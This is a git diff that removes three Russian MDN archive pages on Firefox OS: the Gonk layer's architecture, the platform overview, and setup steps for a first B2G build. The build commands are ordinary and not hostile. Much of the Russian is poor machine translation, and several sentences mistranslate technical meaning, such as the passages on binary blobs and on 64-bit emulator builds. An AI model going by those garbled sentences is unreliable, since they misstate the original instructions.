-<p>Поскольку проект Firefox OS имеет полный контроль над Gonk, мы можем реализовывать интерфейсы для Gecko которые не могут быть реализованы в других операционных системах. Например под Gonk у Gecko есть прямой доступ к полному стеку телефонии и фрейм-буфферу дисплея.</p>
-
-<h2 id="Архитектура_Gonk">Архитектура Gonk</h2>
-
-<p>Каждая модель мобильного телефона имеет специальную комбинацию компонентов Gonk на основе системных библиотек, драйверов и микропрограмм необходимых для работы устройства. Эти компоненты выпускаются OEM/ODM-производителями и производителями наборов микосхем. На следующей схеме показан пример реализации Gonk:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9489/gonk-architecture.png" style="display: block; height: 329px; margin: 0px auto; width: 987px;"></p>
-
-<p><span id="result_box" lang="ru"><span class="hps">Этот пример</span> <span class="hps">показывает</span> <span class="hps">следующие основные компоненты</span> <span class="atn hps">(</span><span>которые представляют</span> <span class="hps">только часть</span> <span class="hps">из возможных</span> <span class="hps">компонентов в</span> <span class="hps">каждой</span> <span class="hps">конкретной реализации</span> <span class="hps">Gonk</span><span>)</span><span>:</span></span></p>
-
-<ul>
- <li><strong>Ядро ОС Linux</strong>: Использует библиотеки из Android (GPS, камера, т.д.) и другие open-source проекты (Linux, libusb, bluez, and so on).</li>
- <li><strong>Radio Interface Layer (RIL)</strong>: Взаимодействует с аппаратурой модема (телефония) в смартфоне. Состоит из двух компонентов:
- <ul>
- <li><strong>rild daemon</strong>: Общается с прошивкой модема.</li>
- <li><strong>rilProxy</strong>: Пересылает сообщения между rild и b2g процессом.</li>
- </ul>
- </li>
- <li><strong>mediaserver process</strong>: Управляет воспроизведением аудио и видео. Gecko взаимодействует с медиа-сервером через Android RPC.</li>
- <li><strong>netd process</strong>: <span id="result_box" lang="ru"><span class="hps">Сетевой</span> <span class="hps">демон, который</span> <span class="hps">взаимодействует непосредственно с</span> <span class="hps">сетевыми интерфейсами</span> <span class="hps">(WiFi)</span> на аппаратном уровне<span class="hps">.</span></span></li>
- <li><strong>Bluetooth, т.п.</strong>: Bluetooth и другие service-level демоны обеспечивают доступ к аппаратным ресурсам.</li>
-</ul>
-
-<p>Gonk также запускает, обслуживает и останавливает B2B процесс, являющийся слоем Gecko в Firefox OS. B2G процесс выступает в качестве клиента для service-level демонов в Gonk, которые взаимодействуют непосредственно с аппаратным обеспечением и предоставляют Gecko аппаратную функциональность телефона. Gecko общается с этими демонами через межпроцессное взаимодействие (IPC). Эти компоненты совместно обменивают команды и протоколы для запроса и предоставления сервисов.</p>
-
-<div class="note">
-<p><strong>Note</strong>: Чтобы узнать больше о архитектуре Gonk, смотри <a href="/en-US/Firefox_OS/Platform/Architecture">Руководство по архитектуре Firefox OS</a>.</p>
-</div>
-
-<h2 id="Портирование_Gonk">Портирование Gonk</h2>
-
-<p>Поскольку Firefox OS базируется на ядре Android, существующие драверы, прошивка, service демоны, и другие компоненты могут быть портированы для работы с Firefox OS, Как правило с минимальными усилиями. Если необходим особый компонент (например нестандартный RIL или новый демон), или требуется внести изменения в эталонный дизайн ODM-производителя, возможно потребуется произвести дополнительную интеграцию и тестирование.</p>
-
-<p>В b2g, клиенты взаимодействуют с service-level демонами через межпроцессное взаимодействие (IPC). Клиенты инициируют соединение через сокет к service-level демону, отправляет запрос (используя протокол запросов сервера) через это соединение, принимает ответ и закрывает соединение. <span id="result_box" lang="ru"><span class="hps">OEM-производители</span> <span class="alt-edited hps">ответственны</span> <span class="hps">за разработку и реализацию</span> <span class="hps">этого</span> </span>межпроцессного взаимодействия<span lang="ru"> <span class="hps">между клиентами</span> <span class="hps">и серверами</span><span>.</span></span></p>
-
-<div class="note">
-<p><strong>Note</strong>: Чтобы узнать больше о том как производится портирование, смотри <a href="/en-US/Firefox_OS/Developing_Firefox_OS/Porting">Портирование Firefox OS</a>.</p>
-</div>
-
-<h3 id="Как_Mozilla_работает_над_портами_Gonk_с_OEM_и_производителями_телефонов">Как Mozilla работает над портами Gonk с OEM и производителями телефонов</h3>
-
-<p><span id="result_box" lang="ru"><span class="hps">Каждая реализация</span> <span class="hps">Gonk</span> <span class="hps">является результатом</span> <span class="hps">сотрудничества между</span> <span class="hps">Mozilla</span><span>,</span> OEM-<span class="hps">производителями</span> <span class="hps">и</span> <span class="hps">сопутсвующими</span> <span class="atn hps">производителями (</span><span class="atn">ODM-</span><span>производителями, производителями</span></span><span lang="ru"> <span class="hps">чипсетов</span><span>)</span><span>.</span></span></p>
-
-<p>Mozilla предоставляет репозитарии с исходным кодом и осуществляет поддержку файлов Gonk в дистрибутивах Firefox OS. Репозитарии с исходным кодом включают базовое ядро Linux (с незначительными изменениями) и хуки (hooks) в Gecko.</p>
-
-<p><span id="result_box" lang="ru">OEM-<span class="hps">производители</span></span> в свою очередь ответственны за сборку, компиляцию, тестирование, сертификацию и распространение системного образа Firefox OS для конкретной модели устройства. Для Gonk в рамках системного образа, <span id="result_box" lang="ru">OEM-<span class="hps">производители</span></span> <span id="result_box" lang="ru"><span class="alt-edited hps">ответственны</span> <span class="hps">за большую часть</span> <span class="hps">усилий</span> <span class="hps">по обеспечению</span> <span class="hps">интеграции</span> <span class="hps">между вызовами</span> <span class="hps">Web API</span> <span class="hps">и</span> <span class="hps">аппаратным обеспечением телефона.</span></span> Тип и объем необходимых усилий сильно зависит от особенностей набора микросхем и других аппаратных компонентов используемых в телефоне.</p>
-
-<h3 id="Компоненты_устройства">Компоненты устройства</h3>
-
-<p>OEM-производители сотрудничают с производителями наборов микросхем и ODM-производителями чтобы обеспечить все, специфические для конкретной аппаратуры, компоненты, необходимые для функционирования мобильного устройства. Например производитель Wi-Fi обеспечивает набор микросхем и сопутсвующее ПО. Компоненты могут включать:</p>
-
-<ul>
- <li>Драйверы — Для поддержки периферии телефона, такой как модем (данные и голос), Wi-fi, Bluetooth, дисплей, камера, аудио и т.д.</li>
- <li>Микрокоды — Некоторая аппаратура (сетевая карта например) может загружать свою прошивку с flash диска.</li>
- <li>Service-level демоны — Для вызова и управления работой различных аппаратных компонентов. <span id="result_box" lang="ru"><span class="hps">Могут</span> <span class="hps">включать в себя</span> <span class="alt-edited hps">вспомогательные</span> <span class="hps">библиотеки</span> <span class="hps">и скрипты</span> <span class="hps">запуска.</span></span></li>
-</ul>
-
-<h3 id="Интеграция_между_Gonk_и_Gecko">Интеграция между Gonk и Gecko</h3>
-
-<p>OEM-производители должны гарантировать, что аппаратные возможности мобильного устройства корректно и полностью совместимы с Web API реализованный в Gecko. Для этого необходимо осуществить:</p>
-
-<ul>
- <li>сборку или адаптацию (в Gonk) service-level демонов, а так же все необходимые драйверы или микрокоды, необходимые для управделия аппаратурой</li>
- <li>настройку или создание (in b2g) всех методов необходимых для взаимодействия с service-level демонами</li>
-</ul>
-
-<h2 id="Исходный_код_Gonk">Исходный код Gonk</h2>
-
-<p>Главный <a href="https://github.com/mozilla-b2g/B2G">B2G репозитарий на Github</a> содержит официально поддерживаемые порты Gonk для различных устройств, так что можно считать его репозитарием Gonk’а. Список поддерживаемых устройств находится в <code>B2G/config.sh</code>.</p>
-
-<p>B2G процесс (наряду с прочим), определяемый в Gonk, можно найти на <a href="https://github.com/mozilla-b2g/gonk-misc">mozilla-b2g/gonk-misc</a>. Изменения исходного кода B2G производятся здесь.</p>
-
-<div class="note">
-<p><strong>Note</strong>: В <a href="https://github.com/mozilla/gecko-dev">исходном коде Gecko</a> есть директория <code>b2g/,</code> которая содержит модификацию Gecko для Gonk: она включает ядро Linux, HAL, и специфические OEM библиотеки.</p>
-</div>
-
-<p>Большая часть ежедневной работы проделанной над Gonk заключается в портировании системы на различные платы и будте уверены, Gecko может хорошо работать на различных устройствах.</p>
-
-<dl>
-</dl>
-
-<p> </p>
diff --git a/files/ru/archive/b2g_os/platform/index.html b/files/ru/archive/b2g_os/platform/index.html
deleted file mode 100644
index d8739c24b5..0000000000
--- a/files/ru/archive/b2g_os/platform/index.html
+++ /dev/null
@@ -1,82 +0,0 @@
----
-title: Платформа Firefox OS
-slug: Archive/B2G_OS/Platform
-tags:
- - B2G
- - Firefox OS
- - Landing
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/B2G_OS/Platform
----
-<div class="summary">
-<p><span class="seoSummary">Платформа Firefox OS состоит из многих компонентов. В тоже время, вы не должны понимать его архитектуру, чтобы создавать приложения работающие на Firefox OS, если вы работаете над развитие или портированием платформы - или просто любопытно - следующая документация может быть заинтересует Вас.</span></p>
-</div>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 class="Documentation" id="Documentation" name="Documentation">Документация к платформе Firefox OS</h2>
-
- <dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture">Firefox OS architecture overview</a></dt>
- <dd>Обзор внутренней структуризации Firefox OS ; это в первую очередь интересно разработчикам платформы и пользователям занимающимся портированием.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture">Firefox OS apps architecture</a></dt>
- <dd>Обзор модели приложения на Firefox OS.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a></dt>
- <dd>Документация о Gaia, пользовательский интерфейс приложений для Firefox OS устройств; это Web приложение работает поверх стока програмного обеспечения Firefox OS.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk">Gonk</a></dt>
- <dd>Документация Gonk, операционная система слоя под  Gaia.  Она состоит из ядра Linux и аппаратной абстракции слоя, с которыми общается Gecko.</dd>
- <dt><a href="/en-US/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a></dt>
- <dd><span id="result_box" lang="ru"><span class="hps">Gecko</span> <span class="hps">это</span> <span class="hps">слой</span> <span class="hps">FirefoxOS, обеспечивающий</span> <span class="hps">те же </span><span class="atn hps">открытые веб </span><span>стандарты, реализуемые использованием на</span> <span class="hps">Firefox</span> <span class="hps">и</span> <span class="hps">Thunderbird</span><span>, а также</span> <span class="hps">многих других приложений</span><span>.</span></span></dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security" title="/en-US/docs/Mozilla/Firefox_OS/Security"> Security</a></dt>
- <dd>Документация о безопасности в Firefox OS; это включает в себя темы о безопасности устройств с любой точки зрения: для разработчиков приложений, интеграторов устройств, и так далее.</dd>
- <dt><a href="/en-US/Firefox_OS/Debugging/Out_of_memory_management_on_Firefox_OS">Out of memory management on Firefox OS</a></dt>
- <dd>Эта статья объясняет, как низкий уровень памяти регулируется на Firefox OS, используя отчистку памяти и уведомление о нехватке памяти.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart">Feature support chart</a></dt>
- <dd><span id="result_box" lang="ru"><span class="hps">Схемма</span>, какие особенности <span class="hps">доступны</span><span> в каких</span> <span class="hps">типах построения</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span></span></dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Settings_list" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Settings_list">Firefox OS settings list</a></dt>
- <dd><span id="result_box" lang="ru"><span class="hps">Список</span> <span class="hps"> названий общей</span> <span class="hps">настройки</span><span>, которые могут</span> <span class="hps">быть использованы</span> <span class="hps">с</span></span> <a href="/en-US/docs/WebAPI/Settings" title="/en-US/docs/WebAPI/Settings">Settings</a> API.</dd>
- </dl>
-
- <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">View All...</a></span></p>
- </td>
- <td>
- <h2 class="Community" id="Community" name="Community"><span class="short_text" id="result_box" lang="ru"><span class="hps">Получение справки</span> <span class="hps">от сообщества</span></span></h2>
-
- <p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">вы работаете с</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>,</span> <span class="hps">или</span> <span class="hps">разрабатываете приложения</span> <span class="hps">и хотели бы</span> <span class="hps">работать на</span> <span class="hps">Firefox OS</span> <span class="hps">устройств</span><span>е,</span> <span class="hps">есть</span> <span class="hps">общественные</span> <span class="hps">ресурсы, чтобы  помочь</span> <span class="hps">вам</span><span>!</span></span></p>
-
- <ul>
- <li>Обратитесь Boot to Gecko форум проекта: {{ DiscussionList("dev-b2g", "mozilla.dev.b2g") }}</li>
- </ul>
-
- <ul>
- <li>Задайте ваш вопрос на канале Mozilla's Boot to Gecko IRC: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
- </ul>
-
- <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
-
-
- <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics"><span class="short_text" id="result_box" lang="ru"><span class="hps">Похожие темы</span></span></h2>
-
- <ul>
- <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Mobile</a></li>
- <li><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a></li>
- <li><a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a></li>
- <li><a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></li>
- </ul>
-
- <h2 class="Tools" id="Ресурсы"><span class="short_text" id="result_box" lang="ru"><span class="hps">Ресурсы</span></span></h2>
-
- <ul>
- <li><a class="link-https" href="https://wiki.mozilla.org/B2G/FAQ" title="B2G/FAQ">Mozilla wiki FAQ</a></li>
- <li><a class="link-https" href="https://wiki.mozilla.org/B2G/Schedule_Roadmap" title="https://wiki.mozilla.org/B2G/Schedule_Roadmap">Roadmap</a></li>
- <li><a href="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart">Feature support chart</a></li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
diff --git a/files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html b/files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html
deleted file mode 100644
index 7b3a3b7d48..0000000000
--- a/files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html
+++ /dev/null
@@ -1,247 +0,0 @@
----
-title: Подготовка к первой B2G сборке
-slug: Archive/B2G_OS/Preparing_for_your_first_B2G_build
-tags:
- - B2G
- - Firefox OS
- - Создание Документа
-translation_of: Archive/B2G_OS/Preparing_for_your_first_B2G_build
----
-<div class="summary">
-<p>Прежде чем вы сможете построить B2G, необходимо клонировать репозиторий и настроить дерево сборки. Эта статья объясняет, как это сделать. </p>
-</div>
-
-<p>В зависимости от вашего интернет-соединения, шаг настройки занимает несколько часов, чтобы скачать файлы, необходимые для построения FirefoxOS (со скоростью загрузки 150 Кбит/сек, загрузка гигабайтов хранилища Android может занять десятки часов). Ожидание не так весело, как дело, так что во время процесса вы можете читать следующую страницу и стартовал конфигурационный скрипт, рассмотрите возможность использования времени в настройке и попробуйте <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator" title="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS simulator</a>, начните ознакомление с <a class="vt-p" href="/en-US/docs/Apps" title="/en-US/docs/Apps">Documentation for app developers</a> в том числе проектирование и строительство приложений, или ознакомьтесь с информацией о предстоящих шагах.</p>
-
-<div class="note">
-<p>Вы можете заниматься посторонними делами, например, пусть с Вами пойдёт друг, чтобы выпить кофе, в то время как работает конфигурация B2G и шаги сборки. Они могут занять немного времени (конфигурация в одиночку занимает около 45 минут, используя высокоскоростное подключение к Интернету, собирается около 30 мин на Core i7 с 8 Гб оперативной памяти).</p>
-</div>
-
-<div class="note">
-<p>Если вы используете OS X, чтобы построить Firefox OS для Flame см <a href="https://developer.mozilla.org/en-US/Firefox_OS/Building_and_installing_Firefox_OS/Building_Firefox_OS_for_flame_on_OSX">Building Firefox OS for flame on OSX</a> MDN-страницы.</p>
-</div>
-
-<h2 id="Клонирование_B2G_хранилища">Клонирование B2G хранилища</h2>
-
-<p>Первый шаг, прежде чем вы сможете начать свой первый билд, это клонирование репозитория B2G. Вы не получаете весь репозиторий! Вместо этого, Вы получите систему сборки B2G и утилиты настройки. Большая часть реального кода B2G находится в главном Mozilla <a class="vt-p" href="/en-US/docs/Mercurial" title="Mercurial">Mercurial</a> хранилище.</p>
-
-<p>Чтобы клонировать репозиторий, используйте Git:</p>
-
-<pre>git clone git://github.com/mozilla-b2g/B2G.git</pre>
-
-<p>После клонирования (которое должено занять минуту с быстрым подключением), перейдите в каталог B2G:</p>
-
-<pre>cd B2G
-</pre>
-
-<h2 id="Настройка_B2G_для_вашего_устройства">Настройка B2G для вашего устройства</h2>
-
-<div class="warning">Важно: Помните, что только устройства под управлением Android 4.0.4 (Ice Cream Sandwich), 4,3 (Jelly Bean) и 4,4 (KitKat) и платформы на их базе поддерживаются (текущей ОС устройства Firefox). Пожалуйста, убедитесь, что ваш телефон на самом деле работает на одной из этих поддерживаемых версий, в противном случае этот шаг, скорее всего, приведет к сбою, так как некоторые вредители вытащили из не-Nexus устройства. Кроме того, если у вас есть, чтобы прошить устройство с соответствующей версией выпуска, имейте в виду, что некоторые узлы USB не работаем хорошо с мигающими инструментов, так что вы, возможно, придется подключить устройство к встроенным USB-портом.</div>
-
-<div class="warning">Важно: если вы делаете сборку на Ubuntu 12.10 или Fedora, вам нужно будет указать GCC 4.6 как компилятор хоста по умолчанию после извлечения источники B2G, для процесса, чтобы работать (эти дистрибутивы используют GCC 4.7 или более поздней версии по умолчанию). Читать <a class="vt-p" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">Changing the default host compiler</a>  чтобы узнать, как это сделать.</div>
-
-<div class="note">Примечание: пожалуйста, прочитайте все нижеизложенные инструкции перед запуском любой из команд процесса сборки, чтобы убедиться, что вы делаете правильные для вас действия!</div>
-
-<p>После того как вы получите ядро системы B2G сборки, необходимо настроить его для устройства, на котором вы планируете установить его. Чтобы получить список поддерживаемых устройств, вы можете использовать утилиту config.sh - выполните следующую команду из каталога, в B2G:</p>
-
-<pre>./config.sh
-</pre>
-
-<p>Это покажет список поддерживаемых устройств, например, так:</p>
-
-<pre>Usage: ./config.sh [-cdflnq] (device name)
-Flags are passed through to |./repo sync|.
-
-Valid devices to configure are:
-- galaxy-s2
-- galaxy-nexus
-- nexus-4
-- nexus-4-kk
-- nexus-5
-- nexus-5-l
-- nexus-s
-- nexus-s-4g
-- flo (Nexus 7 2013)
-- otoro
-- unagi
-- inari
-- keon
-- peak
-- hamachi
-- helix
-- tarako
-- dolphin
-- dolphin-512
-- pandaboard
-- vixen
-- flatfish
-- flame
-- flame-kk
-- flame-l
-- rpi (Revision B)
-- emulator
-- emulator-jb
-- emulator-kk
-- emulator-l
-- emulator-x86
-- emulator-x86-jb
-- emulator-x86-kk
-- emulator-x86-l
-&gt; Sony Xperia devices
-- aries (Z3 Compact KK)
-- aries-l (Z3 Compact L)
-- leo-kk (Z3 KK)
-- leo-l (Z3 L)
-- scorpion-l (Z3 Tablet Compact L)
-- sirius-l (Z2 L)
-- tianchi-l (T2U L)
-- flamingo-l (E3 L)</pre>
-
-<p>Если ваше устройство отсутствует в списке, вы должны остановиться прямо сейчас, либо помочь проекту B2G портированием OS на Ваше устройство. Также можно подождать, пока кто-то это не сделает. Мы предпочли бы, что бы вы нам помогли!</p>
-
-<div class="note">Примечание: Вы можете найти имя устройства для вашего телефона на странице <a href="/en-US/Firefox_OS/Phones">Firefox OS Phones</a>.</div>
-
-<div class="note">Примечание: Настройка и создание B2G для Keon на Mac не работает. Вы должны будете использовать Linux при создании прошивки для этого устройства.</div>
-
-<div class="note">Примечание: Если по какой-либо причине вы хотите построить против конкретной версии Gecko см <a href="#Строительство_против_обычая_Gecko">Строительство против обычая Gecko</a>, прежде чем продолжить. Если вы хотите построить ветку, кроме по умолчанию для вашего устройства (например, для создания конкретной версии B2G), см <a href="#создание_филиала">создание филиала</a>. Примечание: филиал по умолчанию зависит от устройства и не обязательно ствол.</div>
-
-<p>Это было бы хорошее время для перерыва на кофе, так как в данный момент, вы будете делать свой первый  код, необходимый для создания загрузки Gecko. Запускаем конфигурацию устройства, как показано ниже, это может занять много времени; Вы можете остановить его с помощью Ctrl-C и перезапустить его на более позднее время. Если вы думаете, какая-то часть процесса может быть прекращено без комплектующих, запустите './repo синхронизацию ", чтобы исправить все возможные проблемы.</p>
-
-<h3 id="Настройка_B2G_построить_для_мобильного_устройства">Настройка B2G построить для мобильного устройства</h3>
-
-<p>На данный момент, подключите устройство, если оно еще не подключено; В процессе конфигурирования необходимо получить к нему доступ.</p>
-
-<p>Если ваше устройство было найдено в результатах, показанных выше, вы можете начать процесс настройки с запуска config.sh, на этот раз с указанием имени вашего устройства. Например, чтобы построить для Samsung Google Nexus S, вы должны ввести:</p>
-
-<pre>./config.sh nexus-s
-</pre>
-
-<div class="note">
-<p>Примечание: Если вы получаете сообщение об ошибке, как:</p>
-
-<pre class="lang-py prettyprint prettyprinted"><code><span class="typ">UnicodeDecodeError</span><span class="pun">:</span><span class="pln"> </span><span class="str">'ascii'</span><span class="pln"> codec can</span><span class="str">'t decode byte 0xc3 in position 9: ordinal not in range(128)</span></code></pre>
-
-<p>Это может быть потому, что у вас есть акцент или другие недопустимые символы в указании пути к текущей директории, как '/home/username/T<strong>é</strong>l<strong>é</strong>chargements/B2G/'. Перемещение репо B2G-то еще. Cf. : <a href="http://stackoverflow.com/questions/18049320/repo-init-unicodedecodeerror-on-ubuntu-13-04">http://stackoverflow.com/questions/18049320/repo-init-unicodedecodeerror-on-ubuntu-13-04</a></p>
-
-<p>На OSX, подобная ошибка может произойти следующим образом:</p>
-
-<pre><code>File "/Path/to/B2G/.repo/repo/git_refs.py", line 155, in _ReadLoose1
-    ref_id = ref_id.decode()
-UnicodeDecodeError: 'ascii' codec can't decode byte 0xd0 in position 578: ordinal not in range(128)</code></pre>
-
-<p>Одна из возможностей Обойти это, выровнять 155 git_refs.py, расположенного по адресу '/Path/to/B2G/.repo/repo' и измененить</p>
-
-<p><code>ref_id=ref_id.decode() </code>to <code>ref_id=ref_id.decode('latin-1')</code></p>
-</div>
-
-<div class="note">Примечание: Если вы получаете сообщение об ошибке, подобное <code>fatal: manifest 'nexus-s.xml'</code>, есть вероятность, что вы просто должны указать ветвь которую вы хотите использовать. Увидеть <a href="#Building_a_branch">Building a branch</a> Для получения дополнительной информации.</div>
-
-<div class="note">Примечание: Если шаг конфигурации завершается с сообщением об ошибке, как <code>error: manifest required for this command -- </code>запустите Init, то изменения в том, что файл манифеста для репо (расположен в <code>B2G/.repo/manifest.xml</code>)  не была успешно создан. Вы должны попробовать ход <code>config.sh</code> again. Если вы делаете это для нового устройства можно добавить его в <code>config.sh</code> а затем передать его в местное файл манифеста, как так:<br>
-<code>./config.sh &lt;device&gt; -m path/to/manifest.</code></div>
-
-<p>Рядом с начала конфигурации, вам может понадобиться установить вашу личность (та, что используется Git), а также возможность для использования цвета. После этого продолжается процесс. Для выбора цвета, вы можете просто выбрать "Y" здесь, как вы, вероятно, хотите цвет, сборку.</p>
-
-<div class="note">
-<p>Примечание: это возможно для <code>config.sh </code>приводит к неудаче с Git ошибки, связанные с кокетливыми, таких как следующие :</p>
-
-<p><code>Fetching projects:  95% (118/124)<br>
- error: Exited sync due to fetch errors</code></p>
-
-<p>Это, кажется, быть вызвано ошибкой подключения на Android исходного репозитория репо. В этом случае, вам нужно будет перезапустить <code>config.sh</code>. Через некоторое время, он автоматически возобновит где она была прервана. Возможно, вам придется сделать, чтобы это несколько раз, пока, наконец, не получает всех проектов.</p>
-</div>
-
-<h3 id="Настройка_сборки_с_помощью_резервной_копии_системы">Настройка сборки с помощью резервной копии системы</h3>
-
-<p>Если Ваш телефон уже не имеет Android на нем, и ваш B2G дерево не двоичные капли в нем, но вы мудро <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition" title="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">made a backup of the <code>/system</code> partition</a>, Вы можете выполнить сборку на системы резервного копирования, как это:</p>
-
-<pre>ANDROIDFS_DIR=&lt;absolute path to parent dir of system dir&gt; ./config.sh &lt;target&gt;
-</pre>
-
-<p>Система сборки по умолчанию будет смотреть в где-нибудь как резервного копирования Инари / системы (в зависимости от конфигурации устройства); если вы поместите файлы в ожидаемом месте вам не нужно будет указать каталог.</p>
-
-<p>Обратите внимание, что если ваш телефон всегда был Firefox OS на нее, чтобы начать, и не бежал Android, это все-таки хорошо, чтобы вытащить / системный раздел по указанному выше направлениях - это даст вам нужные файлы.</p>
-
-<h3 id="sect1"> </h3>
-
-<p>Настройка B2G построить для эмулятораIf вы хотите построить эмулятор, а не на реальном телефоне, вы можете указать эмулятор *, чтобы получить эмулятор устройства ARM, или эмулятор-x86 * построить эмулятор x86. Последнее происходит быстрее, но не точным представлением фактического мобильном устройстве и не так хорошо поддерживается; использовать его не рекомендуется.</p>
-
-<p> </p>
-
-<p>Таким образом, чтобы построить ARM Jellybean эмулятор, например, можно использовать следующую команду:</p>
-
-<pre>./config.sh emulator-jb
-</pre>
-
-<p>Рядом с начала конфигурации вам может понадобиться установить опцию для цветной печати, то после этого продолжает процесс. Вы можете просто выбрать "Y" здесь, как вы, вероятно, хотите цвет, сборку.</p>
-
-<p>К этому моменту вы должны быть готовы к <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Building" title="Mozilla/Firefox_OS/Building">start the build</a>, если вы не нуждаетесь ни в более продвинутой информации, указанного ниже.</p>
-
-<p>Помните, что здание для эмулятора может не на 64-битной Linux.</p>
-
-<div class="note">Примечание: Разработчики на Mac OS X 10.9 или выше, чтобы перейти к эмулятора-JB или эмуляторе-KK, а не, потому что основаны AOSP ICS эмулятор не может быть построен на Mac OS X 10.9. Увидеть <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Requirements_for_Mac_OS_X" title="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Requirements_for_Mac_OS_X">Requirements for Mac OS X</a> для получения дополнительной информации.</div>
-
-<h2 id="Строительство_против_обычая_Gecko">Строительство против обычая Gecko</h2>
-
-<p>Там могут быть случаи, что вы хотите или должны создавать загрузочные для Gecko на основе другой версии Gecko, чем тот, который используется по умолчанию (как указано в манифесте). Вы можете сделать это, отредактировав файл <code>.userconfig</code>. Например, если вы хотите построить на Mozilla Центрально-:</p>
-
-<pre>export GECKO_PATH=/path/to/mozilla-central
-export GECKO_OBJDIR=/path/to/mozilla-central/objdir-gonk
-</pre>
-
-<div class="note">
-<p>Примечание: в случае построения против обычая Gecko в Mac OS X, каталог Mozilla центральной должен быть в случае чувствительной файловой системы.<br>
-  </p>
-</div>
-
-<p id="Building_a_branch">Обратите внимание, что вы можете сделать это либо перед тянуть хранилище (т.е. до <code>config.sh</code> шаг выше) или в любой последующий момент. Вы также можете сохранить несколько вариантов сборки (с отладкой или нет, и т.д.), имея несколько файлов UserConfig (с разными настройками - каждый нуждается в другом OBJDIR, конечно), и делает .userconfig символическую ссылку, указывающую на какой конфигурации вы хотите построить сейчас.</p>
-
-<p>Для получения более подробной информации ознакомьтесь с <a class="vt-p" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_Gecko_source_tree" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_Gecko_source_tree">Changing the Gecko source tree</a>.</p>
-
-<h2 id="Построение_филиал">Построение филиал</h2>
-
-<p>Если вы хотите построить для филиала, кроме ветви по умолчанию (обратите внимание: филиал по умолчанию не может быть "мастером"!), Вам нужно будет префикс ваш звонок config.sh с именем ветви, например, так:</p>
-
-<pre>BRANCH=branch-name ./config.sh &lt;device&gt;</pre>
-
-<p>Имена отраслевые довольно логичны, и в значительной степени следовать имена товары / версиях, так что <code>v1-train</code>, <code>v1.0.0</code>, <code>v1.0.1</code>, <code>v1.1</code>, <code>v1.1.0hd</code>, <code>v1.2, v1.3, v1.4, v2.0</code>  и так далее в будущем. В качестве примера, чтобы построить B2G Firefox 1.2, для себя эмулятор ARM, нужно ввести</p>
-
-<pre>BRANCH=v1.2 ./config.sh emulator</pre>
-
-<p>Если вы столкнулись config.sh уже можно увидеть имена филиалов, перейдя <code>B2G/.repo/manifests</code>  и делать "<code>git branch -a</code>" (Это не заполняется Унти тогда.) <strong>Название ветвь приведены в качестве конечного маркера на линии, e.g. "<code>v1-train</code>" or "<code>master</code>"</strong>:</p>
-
-<pre> remotes/origin/master
- remotes/origin/v1-train
- remotes/origin/v1.0.0
- remotes/origin/v1.0.1</pre>
-
-<p>Увидеть <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a>  для дополнительных настроек вы можете сделать.</p>
-
-<h2 id="Копирование_B2G_дерево_на_новую_машину">Копирование B2G дерево на новую машину</h2>
-
